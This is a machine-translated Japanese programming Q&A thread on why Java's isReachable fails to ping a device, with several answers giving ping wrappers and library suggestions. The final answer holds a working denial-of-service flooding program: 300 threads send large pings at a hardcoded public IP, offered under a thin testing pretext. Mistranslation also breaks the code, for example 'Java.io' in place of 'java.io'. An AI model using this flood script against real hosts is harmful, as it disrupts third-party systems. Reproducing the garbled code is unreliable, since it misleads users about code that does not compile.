Javaプログラムを介してpingを実行しようとしているネットワーク上のデバイスがあります。windowsコマンドプロンプトを使用して、デバイスのアドレスにpingを実行し、アドレスのtracertを実行できます。
オンラインで、Javaを介してpingを実行するには、以下を実行する必要があることを確認しました。
InetAddress.getByName(address).isReachable(timeout);
しかし、このコードをデバイスアドレスで使用すると、プログラムで常にfalseが返されます。適切なタイムアウト値で正しいIPv4アドレスを使用しています。また、localhostアドレスを使用すると、正常に動作します。
Cmdを介してデバイスにpingを実行できるのに、プログラムを介してpingできないのはなぜですか?これはtrue pingではないことをさまざまな場所で聞いたことがあります。
Javaでpingをエミュレートするより良い方法はありますか?
ありがとう
isReachable()
は、特権を取得できる場合はICMP ECHO REQUEST
sを使用します、それ以外の場合はTCP接続先ホストのポート7(エコー)。
問題はおそらく、クライアントマシンでこれを実行するための十分な権限がないか、クライアントにICMP ECHO REQUEST
を実行する権限がない場合、サーバーでポート7の問題があるという構成の問題です。おそらく両方のケースでは、これを機能させるには、どちらか一方を解決する必要があります。
OSXおよびLinuxクライアントで以下をテストしましたが、他のOSX、Linux、およびWindows Serverマシンの到達可能性をテストするときに機能します。これをクライアントとして実行するWindowsマシンがありません。
import Java.io.IOException;
import Java.net.InetAddress;
public class IsReachable
{
public static void main(final String[] args) throws IOException
{
final InetAddress Host = InetAddress.getByName(args[0]);
System.out.println("Host.isReachable(1000) = " + Host.isReachable(1000));
}
}
私が読んだものから ここ 。これは明らかにWindowsの制限であり、ICMP PING
はWindows 2000より前のシステムコールとしてWindowsではサポートされていないため、デフォルトでポート7に接続しようとし、「到達しようとしているマシンでブロックされます。 」 Javaは、まだ新しいネイティブシステムコールをサポートしていません。 rootがICMP
パケットを送信する必要があるため、パーミッションはUnixベースのシステム用です。
独自のWindowsネイティブをロールしたい場合 [〜#〜] jni [〜#〜]ICMP PING
for Windows 2000以降には IcmpSendEcho Function があります。
Windows、Linux、およびOSXで実際のICMP pingが必要な場合( この記事 から)この関数を使用します(他のシステムはテストしていません)。
public static boolean isReachableByPing(String Host) {
try{
String cmd = "";
if(System.getProperty("os.name").startsWith("Windows")) {
// For Windows
cmd = "ping -n 1 " + Host;
} else {
// For Linux and OSX
cmd = "ping -c 1 " + Host;
}
Process myProcess = Runtime.getRuntime().exec(cmd);
myProcess.waitFor();
if(myProcess.exitValue() == 0) {
return true;
} else {
return false;
}
} catch( Exception e ) {
e.printStackTrace();
return false;
}
}
少し遅れましたが、私は同じことをしようとしているときにこれにつまずきました。
私のために機能し、私が使用した1つの回避策は、コマンドラインのpingを直接使用することでした。
public static boolean ping(String Host)
{
boolean isReachable = false;
try {
Process proc = new ProcessBuilder("ping", Host).start();
int exitValue = proc.waitFor();
System.out.println("Exit Value:" + exitValue);
if(exitValue == 0)
isReachable = true;
} catch (IOException e1) {
System.out.println(e1.getMessage());
e1.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
return isReachable;
}
その問題に関連して書かれた多くの悪いコードを見ました。私のために働いたコードは(サイトは私のコードファイルを正しく解析するかわかりません):
public class Test {
public static boolean isReachablebyPing(String ip) {
try {
String command;
if(System.getProperty("os.name").toLowerCase().startsWith("windows")) {
// For Windows
command = "ping -n 2 " + ip;
} else {
// For Linux and OSX
command = "ping -c 2 " + ip;
}
Process proc = Runtime.getRuntime().exec(command);
StreamGobbler outputGobbler = new StreamGobbler(proc.getInputStream(), "OUTPUT");
outputGobbler.start();
proc.waitFor();
return checkAvailability(outputGobbler.getOutputLines());
} catch(IOException | InterruptedException ex) {
Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
}
return false;
}
public static void main(String... args) {
String ip = "10.20.20.17"; // false in my case
String ip1 = "10.20.20.100"; // true in my case
System.out.println(ip + " is avalaible " + isReachablebyPing(ip));
System.out.println(ip1 + " is avalaible " + isReachablebyPing(ip1));
}
private static boolean checkAvailability(List<String> outputLines) {
for(String line : outputLines) {
if(line.contains("unreachable")) {
return false;
}
if(line.contains("TTL=")) {
return true;
}
}
return false;
}
}
class StreamGobbler extends Thread {
protected InputStream is;
protected String type;
protected List<String> outputLines;
StreamGobbler(InputStream is, String type) {
this.is = is;
this.type = type;
outputLines = new ArrayList<>();
}
public List<String> getOutputLines() {
return outputLines;
}
@Override
public void run() {
try {
InputStreamReader isr = new InputStreamReader(is);
BufferedReader br = new BufferedReader(isr);
String line;
while((line = br.readLine()) != null) {
outputLines.add(line);
}
} catch(IOException ex) {
Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
}
}
}
Java特権なしで簡単にpingを実行するには、 http://www.icmp4j.org を使用します
使い方はとても簡単です。
final IcmpPingRequest request = IcmpPingUtil.createIcmpPingRequest ();
request.setHost ("www.google.org");
// repeat a few times
for (int count = 1; count <= 4; count ++) {
// delegate
final IcmpPingResponse response = IcmpPingUtil.executePingRequest (request);
// log
final String formattedResponse = IcmpPingUtil.formatResponse (response);
System.out.println (formattedResponse);
// rest
Thread.sleep (1000);
}
理由の1つは、指定したタイムアウトが短すぎることです。同様の問題がありましたが、タイムアウトを適切な値に増やしたときに、isReachable呼び出しが正しい値を返しました。
これを使用しても、パブリックIPアドレスにpingを実行する場合は役に立ちませんWindowsマシンを使用:
String ipAddress = "192.168.1.10";
InetAddress inet = InetAddress.getByName(ipAddress);
boolean reachable = inet.isReachable(5000);
注:ドキュメントには次のように記載されています。
privilegeを取得できる場合、一般的な実装ではICMP ECHO REQUESTを使用します。それ以外の場合、宛先ホストのTCP接続(ポート7(Echo))を確立しようとします。
私はそれを試しましたが、結果は正確ではありませんでした。
私にとって本当にうまくいったのは、true ICMP pingを送信し、IPステータスに応じてtrueまたはfalseを返す、仲間のユーザーによって記述されたクラスです。
次のJavaコードは、Microsoft Windowsを使用したPing of DeathおよびDenial of Serviceの例です。これは、アンチハックプルーフの構築および/またはパフォーマンスのテストのためのテスト目的で使用するものとします。同様のサイバー攻撃の場合のサイトの。
// BEGIN Ping of Death and Denial of Service
import Java.awt.AWTException;
import Java.io.BufferedReader;
import Java.io.IOException;
import Java.io.InputStreamReader;
import Java.net.URISyntaxException;
import jxl.read.biff.BiffException;
import jxl.write.WriteException;
public class PoDandDoS {
protected static final long serialVersionUID = 300200;
public static void main(String[] args)
throws IOException, URISyntaxException, InterruptedException, AWTException, BiffException, WriteException {
Thread[] threads = new Thread[300];
for (int i = 0; i < 300; i++) {
threads[i] = new Thread(new Runnable() {
public void run() {
try {
thread();
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
});
threads[i].start();
}
for (int i = 0; i < 300; i++) {
threads[i].join();
}
}
private static void thread() throws IOException, InterruptedException {
// Ping of Death
String[] StringMove1 = { "cmd.exe", "/c", "ping 108.167.182.244 -l 65500 -n 10000000 -w 1" };
Process ProcessMove1 = Runtime.getRuntime().exec(StringMove1);
BufferedReader VarMove1 = new BufferedReader(new InputStreamReader(ProcessMove1.getInputStream()));
String temp1 = "";
@SuppressWarnings("unused")
String Hostname1 = "";
while ((temp1 = VarMove1.readLine()) != null) {
Thread.sleep(2);
Hostname1 = temp1;
}
VarMove1.close();
}
}
テストが完了したとき。次のコードを使用して、タスクマネージャのプロセスをクリーンアップできます。
import Java.io.IOException;
//BEGIN Clean Process
public class CleanProcess {
protected static final long serialVersionUID = 300200;
public static void main(String[] args) throws IOException {
// Close every process of PING and CMD running from your PC
Runtime.getRuntime().exec("taskkill /F /IM PING.EXE");
Runtime.getRuntime().exec("taskkill /F /IM cmd.EXE");
}
}